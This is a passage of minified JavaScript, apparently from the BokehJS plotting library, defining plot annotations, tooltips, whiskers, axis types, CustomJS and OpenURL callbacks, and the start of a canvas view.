code\\\")}switch(this.model.align){case\\\"left\\\":e=i._bottom.value-n;break;case\\\"center\\\":e=i._vcenter.value;break;case\\\"right\\\":e=i._top.value+n;break;default:throw new Error(\\\"unreachable code\\\")}break;case\\\"right\\\":switch(this.model.vertical_align){case\\\"top\\\":t=i._right.value-5;break;case\\\"middle\\\":t=i._hcenter.value;break;case\\\"bottom\\\":t=i._left.value+5;break;default:throw new Error(\\\"unreachable code\\\")}switch(this.model.align){case\\\"left\\\":e=i._top.value+n;break;case\\\"center\\\":e=i._vcenter.value;break;case\\\"right\\\":e=i._bottom.value-n;break;default:throw new Error(\\\"unreachable code\\\")}break;default:throw new Error(\\\"unreachable code\\\")}return[t,e]},t.prototype.render=function(){if(this.model.visible){var t=this.model.text;if(null!=t&&0!=t.length){this.model.text_baseline=this.model.vertical_align,this.model.text_align=this.model.align;var e=this._get_location(),i=e[0],n=e[1],r=this.model.panel.get_label_angle_heuristic(\\\"parallel\\\"),o=\\\"canvas\\\"==this.model.render_mode?this._canvas_text.bind(this):this._css_text.bind(this);o(this.plot_view.canvas_view.ctx,t,i,n,r)}}else\\\"css\\\"==this.model.render_mode&&s.hide(this.el)},t.prototype._get_size=function(){var t=this.model.text;if(null==t||0==t.length)return 0;var e=this.plot_view.canvas_view.ctx;return this.visuals.text.set_value(e),e.measureText(t).ascent+10},t}(r.TextAnnotationView);i.TitleView=l;var h=function(e){function t(t){return e.call(this,t)||this}return n.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"Title\\\",this.prototype.default_view=l,this.mixins([\\\"line:border_\\\",\\\"fill:background_\\\"]),this.define({text:[o.String],text_font:[o.Font,\\\"helvetica\\\"],text_font_size:[o.FontSizeSpec,\\\"10pt\\\"],text_font_style:[o.FontStyle,\\\"bold\\\"],text_color:[o.ColorSpec,\\\"#444444\\\"],text_alpha:[o.NumberSpec,1],vertical_align:[o.VerticalAlign,\\\"bottom\\\"],align:[o.TextAlign,\\\"left\\\"],offset:[o.Number,0]}),this.override({background_fill_color:null,border_line_color:null}),this.internal({text_align:[o.TextAlign,\\\"left\\\"],text_baseline:[o.TextBaseline,\\\"bottom\\\"]})},t}(r.TextAnnotation);(i.Title=h).initClass()},function(t,e,i){var n=t(391),r=t(60),o=t(4),s=t(5),a=t(15),l=function(i){function t(){return null!==i&&i.apply(this,arguments)||this}return n.__extends(t,i),t.prototype.initialize=function(t){i.prototype.initialize.call(this,t),this.plot_view.canvas_events.appendChild(this.el),this._toolbar_views={},o.build_views(this._toolbar_views,[this.model.toolbar],{parent:this});var e=this._toolbar_views[this.model.toolbar.id];this.plot_view.visibility_callbacks.push(function(t){return e.set_visibility(t)})},t.prototype.remove=function(){o.remove_views(this._toolbar_views),i.prototype.remove.call(this)},t.prototype.render=function(){if(i.prototype.render.call(this),this.model.visible){var t=this.model.panel;this.el.style.position=\\\"absolute\\\",this.el.style.left=t._left.value+\\\"px\\\",this.el.style.top=t._top.value+\\\"px\\\",this.el.style.width=t._width.value+\\\"px\\\",this.el.style.height=t._height.value+\\\"px\\\",this.el.style.overflow=\\\"hidden\\\";var e=this._toolbar_views[this.model.toolbar.id];e.render(),s.empty(this.el),this.el.appendChild(e.el),s.show(this.el)}else s.hide(this.el)},t.prototype._get_size=function(){return 30},t}(r.AnnotationView);i.ToolbarPanelView=l;var h=function(e){function t(t){return e.call(this,t)||this}return n.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"ToolbarPanel\\\",this.prototype.default_view=l,this.define({toolbar:[a.Instance]})},t}(r.Annotation);(i.ToolbarPanel=h).initClass()},function(t,e,i){var n=t(391),r=t(60),f=t(5),o=t(15);function v(t,e,i,n,r){var o;switch(t){case\\\"horizontal\\\":o=e<n?\\\"right\\\":\\\"left\\\";break;case\\\"vertical\\\":o=i<r?\\\"below\\\":\\\"above\\\";break;default:o=t}return o}i.compute_side=v;var s=function(e){function t(){return null!==e&&e.apply(this,arguments)||this}return n.__extends(t,e),t.prototype.initialize=function(t){e.prototype.initialize.call(this,t),this.plot_view.canvas_overlays.appendChild(this.el),f.hide(this.el)},t.prototype.connect_signals=function(){var t=this;e.prototype.connect_signals.call(this),this.connect(this.model.properties.data.change,function(){return t._draw_tips()})},t.prototype.css_classes=function(){return e.prototype.css_classes.call(this).concat(\\\"bk-tooltip\\\")},t.prototype.render=function(){this.model.visible&&this._draw_tips()},t.prototype._draw_tips=function(){var t=this.model.data;if(f.empty(this.el),f.hide(this.el),this.model.custom?this.el.classList.add(\\\"bk-tooltip-custom\\\"):this.el.classList.remove(\\\"bk-tooltip-custom\\\"),0!=t.length){for(var e=this.plot_view.frame,i=0,n=t;i<n.length;i++){var r=n[i],o=r[0],s=r[1],a=r[2];if(!this.model.inner_only||e.bbox.contains(o,s)){var l=f.div({},a);this.el.appendChild(l)}}var h,u,c=t[t.length-1],_=c[0],p=c[1],d=v(this.model.attachment,_,p,e._hcenter.value,e._vcenter.value);switch(this.el.classList.remove(\\\"bk-right\\\"),this.el.classList.remove(\\\"bk-left\\\"),this.el.classList.remove(\\\"bk-above\\\"),this.el.classList.remove(\\\"bk-below\\\"),f.show(this.el),d){case\\\"right\\\":this.el.classList.add(\\\"bk-left\\\"),h=_+(this.el.offsetWidth-this.el.clientWidth)+10,u=p-this.el.offsetHeight/2;break;case\\\"left\\\":this.el.classList.add(\\\"bk-right\\\"),h=_-this.el.offsetWidth-10,u=p-this.el.offsetHeight/2;break;case\\\"below\\\":this.el.classList.add(\\\"bk-above\\\"),u=p+(this.el.offsetHeight-this.el.clientHeight)+10,h=Math.round(_-this.el.offsetWidth/2);break;case\\\"above\\\":this.el.classList.add(\\\"bk-below\\\"),u=p-this.el.offsetHeight-10,h=Math.round(_-this.el.offsetWidth/2);break;default:throw new Error(\\\"unreachable code\\\")}this.model.show_arrow&&this.el.classList.add(\\\"bk-tooltip-arrow\\\"),0<this.el.childNodes.length?(this.el.style.top=u+\\\"px\\\",this.el.style.left=h+\\\"px\\\"):f.hide(this.el)}},t}(r.AnnotationView);i.TooltipView=s;var a=function(e){function t(t){return e.call(this,t)||this}return n.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"Tooltip\\\",this.prototype.default_view=s,this.define({attachment:[o.String,\\\"horizontal\\\"],inner_only:[o.Bool,!0],show_arrow:[o.Bool,!0]}),this.override({level:\\\"overlay\\\"}),this.internal({data:[o.Any,[]],custom:[o.Any]})},t.prototype.clear=function(){this.data=[]},t.prototype.add=function(t,e,i){this.data=this.data.concat([[t,e,i]])},t}(r.Annotation);(i.Tooltip=a).initClass()},function(t,e,i){var n=t(391),r=t(60),o=t(200),s=t(62),a=t(15),l=function(e){function t(){return null!==e&&e.apply(this,arguments)||this}return n.__extends(t,e),t.prototype.initialize=function(t){e.prototype.initialize.call(this,t),this.set_data(this.model.source)},t.prototype.connect_signals=function(){var t=this;e.prototype.connect_signals.call(this),this.connect(this.model.source.streaming,function(){return t.set_data(t.model.source)}),this.connect(this.model.source.patching,function(){return t.set_data(t.model.source)}),this.connect(this.model.source.change,function(){return t.set_data(t.model.source)})},t.prototype.set_data=function(t){e.prototype.set_data.call(this,t),this.visuals.warm_cache(t),this.plot_view.request_render()},t.prototype._map_data=function(){var t,e,i,n=this.plot_model.frame,r=this.model.dimension,o=n.xscales[this.model.x_range_name],s=n.yscales[this.model.y_range_name],a=\\\"height\\\"==r?s:o,l=\\\"height\\\"==r?o:s,h=\\\"height\\\"==r?n.yview:n.xview,u=\\\"height\\\"==r?n.xview:n.yview;t=\\\"data\\\"==this.model.lower.units?a.v_compute(this._lower):h.v_compute(this._lower),e=\\\"data\\\"==this.model.upper.units?a.v_compute(this._upper):h.v_compute(this._upper),i=\\\"data\\\"==this.model.base.units?l.v_compute(this._base):u.v_compute(this._base);var c=\\\"height\\\"==r?[1,0]:[0,1],_=c[0],p=c[1],d=[t,i],f=[e,i];this._lower_sx=d[_],this._lower_sy=d[p],this._upper_sx=f[_],this._upper_sy=f[p]},t.prototype.render=function(){if(this.model.visible){this._map_data();var t=this.plot_view.canvas_view.ctx;if(this.visuals.line.doit)for(var e=0,i=this._lower_sx.length;e<i;e++)this.visuals.line.set_vectorize(t,e),t.beginPath(),t.moveTo(this._lower_sx[e],this._lower_sy[e]),t.lineTo(this._upper_sx[e],this._upper_sy[e]),t.stroke();var n=\\\"height\\\"==this.model.dimension?0:Math.PI/2;if(null!=this.model.lower_head)for(var e=0,i=this._lower_sx.length;e<i;e++)t.save(),t.translate(this._lower_sx[e],this._lower_sy[e]),t.rotate(n+Math.PI),this.model.lower_head.render(t,e),t.restore();if(null!=this.model.upper_head)for(var e=0,i=this._upper_sx.length;e<i;e++)t.save(),t.translate(this._upper_sx[e],this._upper_sy[e]),t.rotate(n),this.model.upper_head.render(t,e),t.restore()}},t}(r.AnnotationView);i.WhiskerView=l;var h=function(e){function t(t){return e.call(this,t)||this}return n.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"Whisker\\\",this.prototype.default_view=l,this.mixins([\\\"line\\\"]),this.define({lower:[a.DistanceSpec],lower_head:[a.Instance,function(){return new s.TeeHead({level:\\\"underlay\\\",size:10})}],upper:[a.DistanceSpec],upper_head:[a.Instance,function(){return new s.TeeHead({level:\\\"underlay\\\",size:10})}],base:[a.DistanceSpec],dimension:[a.Dimension,\\\"height\\\"],source:[a.Instance,function(){return new o.ColumnDataSource}],x_range_name:[a.String,\\\"default\\\"],y_range_name:[a.String,\\\"default\\\"]}),this.override({level:\\\"underlay\\\"})},t}(r.Annotation);(i.Whisker=h).initClass()},function(t,e,i){var n=t(391),r=t(187),o=t(15),s=t(12),l=t(21),T=t(44),a=t(181),h=Math.abs,u=Math.min,c=Math.max,_=function(e){function t(){return null!==e&&e.apply(this,arguments)||this}return n.__extends(t,e),t.prototype.render=function(){if(this.model.visible){var t={tick:this._tick_extent(),tick_label:this._tick_label_extents(),axis_label:this._axis_label_extent()},e=this.model.tick_coords,i=this.plot_view.canvas_view.ctx;i.save(),this._draw_rule(i,t),this._draw_major_ticks(i,t,e),this._draw_minor_ticks(i,t,e),this._draw_major_labels(i,t,e),this._draw_axis_label(i,t,e),null!=this._render&&this._render(i,t,e),i.restore()}},t.prototype.connect_signals=function(){var t=this;e.prototype.connect_signals.call(this),this.connect(this.model.change,function(){return t.plot_view.request_render()})},t.prototype.get_size=function(){return this.model.visible?Math.round(this._get_size()):0},t.prototype._get_size=function(){return null!=this.model.fixed_location?0:this._tick_extent()+this._tick_label_extent()+this._axis_label_extent()},Object.defineProperty(t.prototype,\\\"needs_clip\\\",{get:function(){return null!=this.model.fixed_location},enumerable:!0,configurable:!0}),t.prototype._draw_rule=function(t,e){if(this.visuals.axis_line.doit){var i=this.model.rule_coords,n=i[0],r=i[1],o=this.plot_view.map_to_screen(n,r,this.model.x_range_name,this.model.y_range_name),s=o[0],a=o[1],l=this.model.normals,h=l[0],u=l[1],c=this.model.offsets,_=c[0],p=c[1];this.visuals.axis_line.set_value(t),t.beginPath(),t.moveTo(Math.round(s[0]+h*_),Math.round(a[0]+u*p));for(var d=1;d<s.length;d++){var f=Math.round(s[d]+h*_),v=Math.round(a[d]+u*p);t.lineTo(f,v)}t.stroke()}},t.prototype._draw_major_ticks=function(t,e,i){var n=this.model.major_tick_in,r=this.model.major_tick_out,o=this.visuals.major_tick_line;this._draw_ticks(t,i.major,n,r,o)},t.prototype._draw_minor_ticks=function(t,e,i){var n=this.model.minor_tick_in,r=this.model.minor_tick_out,o=this.visuals.minor_tick_line;this._draw_ticks(t,i.minor,n,r,o)},t.prototype._draw_major_labels=function(t,e,i){var n=i.major,r=this.model.compute_labels(n[this.model.dimension]),o=this.model.major_label_orientation,s=e.tick+this.model.major_label_standoff,a=this.visuals.major_label_text;this._draw_oriented_labels(t,r,n,o,this.model.panel.side,s,a)},t.prototype._draw_axis_label=function(t,e,i){if(null!=this.model.axis_label&&0!=this.model.axis_label.length&&null==this.model.fixed_location){var n,r;switch(this.model.panel.side){case\\\"above\\\":n=this.model.panel._hcenter.value,r=this.model.panel._bottom.value;break;case\\\"below\\\":n=this.model.panel._hcenter.value,r=this.model.panel._top.value;break;case\\\"left\\\":n=this.model.panel._right.value,r=this.model.panel._vcenter.value;break;case\\\"right\\\":n=this.model.panel._left.value,r=this.model.panel._vcenter.value;break;default:throw new Error(\\\"unknown side: \\\"+this.model.panel.side)}var o=[[n],[r]],s=e.tick+l.sum(e.tick_label)+this.model.axis_label_standoff,a=this.visuals.axis_label_text;this._draw_oriented_labels(t,[this.model.axis_label],o,\\\"parallel\\\",this.model.panel.side,s,a,\\\"screen\\\")}},t.prototype._draw_ticks=function(t,e,i,n,r){if(r.doit){var o=e[0],s=e[1],a=this.plot_view.map_to_screen(o,s,this.model.x_range_name,this.model.y_range_name),l=a[0],h=a[1],u=this.model.normals,c=u[0],_=u[1],p=this.model.offsets,d=p[0],f=p[1],v=[c*(d-i),_*(f-i)],m=v[0],g=v[1],y=[c*(d+n),_*(f+n)],b=y[0],x=y[1];r.set_value(t);for(var w=0;w<l.length;w++){var k=Math.round(l[w]+b),S=Math.round(h[w]+x),C=Math.round(l[w]+m),T=Math.round(h[w]+g);t.beginPath(),t.moveTo(k,S),t.lineTo(C,T),t.stroke()}}},t.prototype._draw_oriented_labels=function(t,e,i,n,r,o,s,a){var l,h,u;if(void 0===a&&(a=\\\"data\\\"),s.doit&&0!=e.length){var c,_,p,d;if(\\\"screen\\\"==a)c=i[0],_=i[1],p=(l=[0,0])[0],d=l[1];else{var f=i[0],v=i[1];h=this.plot_view.map_to_screen(f,v,this.model.x_range_name,this.model.y_range_name),c=h[0],_=h[1],u=this.model.offsets,p=u[0],d=u[1]}var m,g=this.model.normals,y=g[0],b=g[1],x=y*(p+o),w=b*(d+o);s.set_value(t),this.model.panel.apply_label_text_heuristics(t,n),m=T.isString(n)?this.model.panel.get_label_angle_heuristic(n):-n;for(var k=0;k<c.length;k++){var S=Math.round(c[k]+x),C=Math.round(_[k]+w);t.translate(S,C),t.rotate(m),t.fillText(e[k],0,0),t.rotate(-m),t.translate(-S,-C)}}},t.prototype._axis_label_extent=function(){if(null==this.model.axis_label||\\\"\\\"==this.model.axis_label)return 0;var t=this.model.axis_label_standoff,e=this.visuals.axis_label_text;return this._oriented_labels_extent([this.model.axis_label],\\\"parallel\\\",this.model.panel.side,t,e)},t.prototype._tick_extent=function(){return this.model.major_tick_out},t.prototype._tick_label_extent=function(){return l.sum(this._tick_label_extents())},t.prototype._tick_label_extents=function(){var t=this.model.tick_coords.major,e=this.model.compute_labels(t[this.model.dimension]),i=this.model.major_label_orientation,n=this.model.major_label_standoff,r=this.visuals.major_label_text;return[this._oriented_labels_extent(e,i,this.model.panel.side,n,r)]},t.prototype._oriented_labels_extent=function(t,e,i,n,r){if(0==t.length)return 0;var o,s,a=this.plot_view.canvas_view.ctx;r.set_value(a),T.isString(e)?(o=1,s=this.model.panel.get_label_angle_heuristic(e)):(o=2,s=-e),s=Math.abs(s);for(var l=Math.cos(s),h=Math.sin(s),u=0,c=0;c<t.length;c++){var _=1.1*a.measureText(t[c]).width,p=.9*a.measureText(t[c]).ascent,d=void 0;u<(d=\\\"above\\\"==i||\\\"below\\\"==i?_*h+p/o*l:_*l+p/o*h)&&(u=d)}return 0<u&&(u+=n),u},t}(r.GuideRendererView);i.AxisView=_;var p=function(e){function t(t){return e.call(this,t)||this}return n.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"Axis\\\",this.prototype.default_view=_,this.mixins([\\\"line:axis_\\\",\\\"line:major_tick_\\\",\\\"line:minor_tick_\\\",\\\"text:major_label_\\\",\\\"text:axis_label_\\\"]),this.define({bounds:[o.Any,\\\"auto\\\"],ticker:[o.Instance,null],formatter:[o.Instance,null],x_range_name:[o.String,\\\"default\\\"],y_range_name:[o.String,\\\"default\\\"],axis_label:[o.String,\\\"\\\"],axis_label_standoff:[o.Int,5],major_label_standoff:[o.Int,5],major_label_orientation:[o.Any,\\\"horizontal\\\"],major_label_overrides:[o.Any,{}],major_tick_in:[o.Number,2],major_tick_out:[o.Number,6],minor_tick_in:[o.Number,0],minor_tick_out:[o.Number,4],fixed_location:[o.Any,null]}),this.override({axis_line_color:\\\"black\\\",major_tick_line_color:\\\"black\\\",minor_tick_line_color:\\\"black\\\",major_label_text_font_size:\\\"8pt\\\",major_label_text_align:\\\"center\\\",major_label_text_baseline:\\\"alphabetic\\\",axis_label_text_font_size:\\\"10pt\\\",axis_label_text_font_style:\\\"italic\\\"})},t.prototype.add_panel=function(t){this.panel=new s.SidePanel({side:t}),this.panel.attach_document(this.document)},Object.defineProperty(t.prototype,\\\"normals\\\",{get:function(){return this.panel.normals},enumerable:!0,configurable:!0}),Object.defineProperty(t.prototype,\\\"dimension\\\",{get:function(){return this.panel.dimension},enumerable:!0,configurable:!0}),t.prototype.compute_labels=function(t){for(var e=this.formatter.doFormat(t,this),i=0;i<t.length;i++)t[i]in this.major_label_overrides&&(e[i]=this.major_label_overrides[t[i]]);return e},Object.defineProperty(t.prototype,\\\"offsets\\\",{get:function(){var t=this.plot.plot_canvas.frame,e=[0,0],i=e[0],n=e[1];switch(this.panel.side){case\\\"below\\\":n=h(this.panel._top.value-t._bottom.value);break;case\\\"above\\\":n=h(this.panel._bottom.value-t._top.value);break;case\\\"right\\\":i=h(this.panel._left.value-t._right.value);break;case\\\"left\\\":i=h(this.panel._right.value-t._left.value)}return[i,n]},enumerable:!0,configurable:!0}),Object.defineProperty(t.prototype,\\\"ranges\\\",{get:function(){var t=this.dimension,e=(t+1)%2,i=this.plot.plot_canvas.frame,n=[i.x_ranges[this.x_range_name],i.y_ranges[this.y_range_name]];return[n[t],n[e]]},enumerable:!0,configurable:!0}),Object.defineProperty(t.prototype,\\\"computed_bounds\\\",{get:function(){var t=this.ranges[0],e=this.bounds,i=[t.min,t.max];if(\\\"auto\\\"==e)return[t.min,t.max];if(T.isArray(e)){var n=void 0,r=void 0,o=e[0],s=e[1],a=i[0],l=i[1];return h(o-s)>h(a-l)?(n=c(u(o,s),a),r=u(c(o,s),l)):(n=u(o,s),r=c(o,s)),[n,r]}throw new Error(\\\"user bounds '\\\"+e+\\\"' not understood\\\")},enumerable:!0,configurable:!0}),Object.defineProperty(t.prototype,\\\"rule_coords\\\",{get:function(){var t=this.dimension,e=(t+1)%2,i=this.ranges[0],n=this.computed_bounds,r=n[0],o=n[1],s=new Array(2),a=new Array(2),l=[s,a];return l[t][0]=Math.max(r,i.min),l[t][1]=Math.min(o,i.max),l[t][0]>l[t][1]&&(l[t][0]=l[t][1]=NaN),l[e][0]=this.loc,l[e][1]=this.loc,l},enumerable:!0,configurable:!0}),Object.defineProperty(t.prototype,\\\"tick_coords\\\",{get:function(){for(var t=this.dimension,e=(t+1)%2,i=this.ranges[0],n=this.computed_bounds,r=n[0],o=n[1],s=this.ticker.get_ticks(r,o,i,this.loc,{}),a=s.major,l=s.minor,h=[[],[]],u=[[],[]],c=[i.min,i.max],_=c[0],p=c[1],d=0;d<a.length;d++)a[d]<_||a[d]>p||(h[t].push(a[d]),h[e].push(this.loc));for(var d=0;d<l.length;d++)l[d]<_||l[d]>p||(u[t].push(l[d]),u[e].push(this.loc));return{major:h,minor:u}},enumerable:!0,configurable:!0}),Object.defineProperty(t.prototype,\\\"loc\\\",{get:function(){if(null!=this.fixed_location){if(T.isNumber(this.fixed_location))return this.fixed_location;var t=this.ranges,e=t[1];if(e instanceof a.FactorRange)return e.synthetic(this.fixed_location);throw new Error(\\\"unexpected\\\")}var i=this.ranges,n=i[1];switch(this.panel.side){case\\\"left\\\":case\\\"below\\\":return n.start;case\\\"right\\\":case\\\"above\\\":return n.end}},enumerable:!0,configurable:!0}),t}(r.GuideRenderer);(i.Axis=p).initClass()},function(t,e,i){var n=t(391),r=t(79),o=t(208),s=t(105),a=t(15),l=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return n.__extends(e,t),e.prototype._render=function(t,e,i){this._draw_group_separators(t,e,i)},e.prototype._draw_group_separators=function(t,e,i){var n,r=this.model.ranges[0],o=this.model.computed_bounds,s=o[0],a=o[1];if(r.tops&&!(r.tops.length<2)&&this.visuals.separator_line.doit){for(var l=this.model.dimension,h=(l+1)%2,u=[[],[]],c=0,_=0;_<r.tops.length-1;_++){for(var p=void 0,d=void 0,f=c;f<r.factors.length;f++)if(r.factors[f][0]==r.tops[_+1]){n=[r.factors[f-1],r.factors[f]],p=n[0],d=n[1],c=f;break}var v=(r.synthetic(p)+r.synthetic(d))/2;s<v&&v<a&&(u[l].push(v),u[h].push(this.model.loc))}var m=this._tick_label_extent();this._draw_ticks(t,u,-3,m-6,this.visuals.separator_line)}},e.prototype._draw_major_labels=function(t,e,i){for(var n=this._get_factor_info(),r=e.tick+this.model.major_label_standoff,o=0;o<n.length;o++){var s=n[o],a=s[0],l=s[1],h=s[2],u=s[3];this._draw_oriented_labels(t,a,l,h,this.model.panel.side,r,u),r+=e.tick_label[o]}},e.prototype._tick_label_extents=function(){for(var t=this._get_factor_info(),e=[],i=0,n=t;i<n.length;i++){var r=n[i],o=r[0],s=r[2],a=r[3],l=this._oriented_labels_extent(o,s,this.model.panel.side,this.model.major_label_standoff,a);e.push(l)}return e},e.prototype._get_factor_info=function(){var t=this.model.ranges[0],e=this.model.computed_bounds,i=e[0],n=e[1],r=this.model.loc,o=this.model.ticker.get_ticks(i,n,t,r,{}),s=this.model.tick_coords,a=[];if(1==t.levels){var l=this.model.formatter.doFormat(o.major,this.model);a.push([l,s.major,this.model.major_label_orientation,this.visuals.major_label_text])}else if(2==t.levels){var l=this.model.formatter.doFormat(o.major.map(function(t){return t[1]}),this.model);a.push([l,s.major,this.model.major_label_orientation,this.visuals.major_label_text]),a.push([o.tops,s.tops,this.model.group_label_orientation,this.visuals.group_text])}else if(3==t.levels){var l=this.model.formatter.doFormat(o.major.map(function(t){return t[2]}),this.model),h=o.mids.map(function(t){return t[1]});a.push([l,s.major,this.model.major_label_orientation,this.visuals.major_label_text]),a.push([h,s.mids,this.model.subgroup_label_orientation,this.visuals.subgroup_text]),a.push([o.tops,s.tops,this.model.group_label_orientation,this.visuals.group_text])}return a},e}(r.AxisView);i.CategoricalAxisView=l;var h=function(e){function t(t){return e.call(this,t)||this}return n.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"CategoricalAxis\\\",this.prototype.default_view=l,this.mixins([\\\"line:separator_\\\",\\\"text:group_\\\",\\\"text:subgroup_\\\"]),this.define({group_label_orientation:[a.Any,\\\"parallel\\\"],subgroup_label_orientation:[a.Any,\\\"parallel\\\"]}),this.override({ticker:function(){return new o.CategoricalTicker},formatter:function(){return new s.CategoricalTickFormatter},separator_line_color:\\\"lightgrey\\\",separator_line_width:2,group_text_font_style:\\\"bold\\\",group_text_font_size:\\\"8pt\\\",group_text_color:\\\"grey\\\",subgroup_text_font_style:\\\"bold\\\",subgroup_text_font_size:\\\"8pt\\\"})},Object.defineProperty(t.prototype,\\\"tick_coords\\\",{get:function(){var e=this,t=this.dimension,i=(t+1)%2,n=this.ranges[0],r=this.computed_bounds,o=r[0],s=r[1],a=this.ticker.get_ticks(o,s,n,this.loc,{}),l={major:[[],[]],mids:[[],[]],tops:[[],[]],minor:[[],[]]};return l.major[t]=a.major,l.major[i]=a.major.map(function(t){return e.loc}),3==n.levels&&(l.mids[t]=a.mids),l.mids[i]=a.mids.map(function(t){return e.loc}),1<n.levels&&(l.tops[t]=a.tops),l.tops[i]=a.tops.map(function(t){return e.loc}),l},enumerable:!0,configurable:!0}),t}(r.Axis);(i.CategoricalAxis=h).initClass()},function(t,e,i){var n=t(391),r=t(79),o=function(e){function t(t){return e.call(this,t)||this}return n.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"ContinuousAxis\\\"},t}(r.Axis);(i.ContinuousAxis=o).initClass()},function(t,e,i){var n=t(391),r=t(84),o=t(106),s=t(211),a=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return n.__extends(e,t),e}(r.LinearAxisView);i.DatetimeAxisView=a;var l=function(e){function t(t){return e.call(this,t)||this}return n.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"DatetimeAxis\\\",this.prototype.default_view=a,this.override({ticker:function(){return new s.DatetimeTicker},formatter:function(){return new o.DatetimeTickFormatter}})},t}(r.LinearAxis);(i.DatetimeAxis=l).initClass()},function(t,e,i){var n=t(79);i.Axis=n.Axis;var r=t(80);i.CategoricalAxis=r.CategoricalAxis;var o=t(81);i.ContinuousAxis=o.ContinuousAxis;var s=t(82);i.DatetimeAxis=s.DatetimeAxis;var a=t(84);i.LinearAxis=a.LinearAxis;var l=t(85);i.LogAxis=l.LogAxis;var h=t(86);i.MercatorAxis=h.MercatorAxis},function(t,e,i){var n=t(391),r=t(79),o=t(81),s=t(104),a=t(207),l=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return n.__extends(e,t),e}(r.AxisView);i.LinearAxisView=l;var h=function(e){function t(t){return e.call(this,t)||this}return n.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"LinearAxis\\\",this.prototype.default_view=l,this.override({ticker:function(){return new a.BasicTicker},formatter:function(){return new s.BasicTickFormatter}})},t}(o.ContinuousAxis);(i.LinearAxis=h).initClass()},function(t,e,i){var n=t(391),r=t(79),o=t(81),s=t(109),a=t(215),l=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return n.__extends(e,t),e}(r.AxisView);i.LogAxisView=l;var h=function(e){function t(t){return e.call(this,t)||this}return n.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"LogAxis\\\",this.prototype.default_view=l,this.override({ticker:function(){return new a.LogTicker},formatter:function(){return new s.LogTickFormatter}})},t}(o.ContinuousAxis);(i.LogAxis=h).initClass()},function(t,e,i){var n=t(391),r=t(79),o=t(84),s=t(110),a=t(216),l=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return n.__extends(e,t),e}(r.AxisView);i.MercatorAxisView=l;var h=function(e){function t(t){return e.call(this,t)||this}return n.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"MercatorAxis\\\",this.prototype.default_view=l,this.override({ticker:function(){return new a.MercatorTicker({dimension:\\\"lat\\\"})},formatter:function(){return new s.MercatorTickFormatter({dimension:\\\"lat\\\"})}})},t}(o.LinearAxis);(i.MercatorAxis=h).initClass()},function(t,e,i){var n=t(391),r=t(59),o=function(e){function t(t){return e.call(this,t)||this}return n.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"Callback\\\"},t}(r.Model);(i.Callback=o).initClass()},function(i,t,e){var n=i(391),r=i(87),o=i(15),s=i(32),a=i(38),l=function(e){function t(t){return e.call(this,t)||this}return n.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"CustomJS\\\",this.define({args:[o.Any,{}],code:[o.String,\\\"\\\"],use_strict:[o.Boolean,!1]})},Object.defineProperty(t.prototype,\\\"names\\\",{get:function(){return s.keys(this.args)},enumerable:!0,configurable:!0}),Object.defineProperty(t.prototype,\\\"values\\\",{get:function(){return s.values(this.args)},enumerable:!0,configurable:!0}),Object.defineProperty(t.prototype,\\\"func\\\",{get:function(){var t=this.use_strict?a.use_strict(this.code):this.code;return new(Function.bind.apply(Function,[void 0].concat(this.names,[\\\"cb_obj\\\",\\\"cb_data\\\",\\\"require\\\",\\\"exports\\\",t])))},enumerable:!0,configurable:!0}),t.prototype.execute=function(t,e){return this.func.apply(t,this.values.concat(t,e,i,{}))},t}(r.Callback);(e.CustomJS=l).initClass()},function(t,e,i){var n=t(88);i.CustomJS=n.CustomJS;var r=t(90);i.OpenURL=r.OpenURL},function(t,e,i){var n=t(391),r=t(87),o=t(15),s=t(35),a=t(40),l=function(e){function t(t){return e.call(this,t)||this}return n.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"OpenURL\\\",this.define({url:[o.String,\\\"http://\\\"]})},t.prototype.execute=function(t,e){for(var i=0,n=s.get_indices(e.source);i<n.length;i++){var r=n[i],o=a.replace_placeholders(this.url,e.source,r);window.open(o)}return null},t}(r.Callback);(i.OpenURL=l).initClass()},function(t,e,i){var n=t(391),r=t(11),o=t(6),s=t(13),a=t(14),l=t(15),h=t(5),u=t(26);null!=window.CanvasPixelArray&&(window.CanvasPixelArray.prototype.set=function(t){for(var e=0;e<this.length;e++)this[e]=t[e]});var c=function(i){function t(){return null!==i&&i.apply(this,arguments)||this}return n.__extends(t,i),Object.defineProperty(t.prototype,\\\"ctx\\\",{get:function(){return this._ctx},enumerable:!0,configurable:!0}),t.prototype.initialize=function(t){switch(i.prototype.initialize.call(this,t),this.map_el=this.model.map?this.el.appendChild(h.div({class:\\\"bk-canvas-map\\\"})):null,this.model.output_backend){case\\\"canvas\\\":case\\\"webgl\\\":this.canvas_el=this.el.appendChild(h.canvas({class:\\\"bk-canvas\\\"}));var e=this.canvas_el.getContext(\\\"2d\\\");if(null==e)throw new Error(\\\"unable to obtain 2D rendering context\\\");this._ctx=e;break;case\\\"svg\\\":var e=new u.SVGRenderingContext2D;this._ctx=e,this.canvas_el=this.el.appendChild(e.getSvg())}this.overlays_el=this.el.appendChild(h.div({class:\\\"bk-canvas-overlays\\\"})),this.events_el=this.el.appendChild(h.div({class:\\\"bk-canvas-events\\\"})),u.fixup_ctx(this._ctx),a.logger.debug(\\\"CanvasView initialized\\\")},t.prototype.css_classes=function(){return i.prototype.css_classes.call(this).concat(\\\"bk-canvas-wrapper\\\")},t.prototype.get_canvas_element=function(){return this.canvas_el},t.prototype.prepare_canvas=function(){var t=this.model._width.value,e=this.model._height.value;this.el.style.width=t+\\\"px\\\",this.el.style.height=e+\\\"px\\\";var 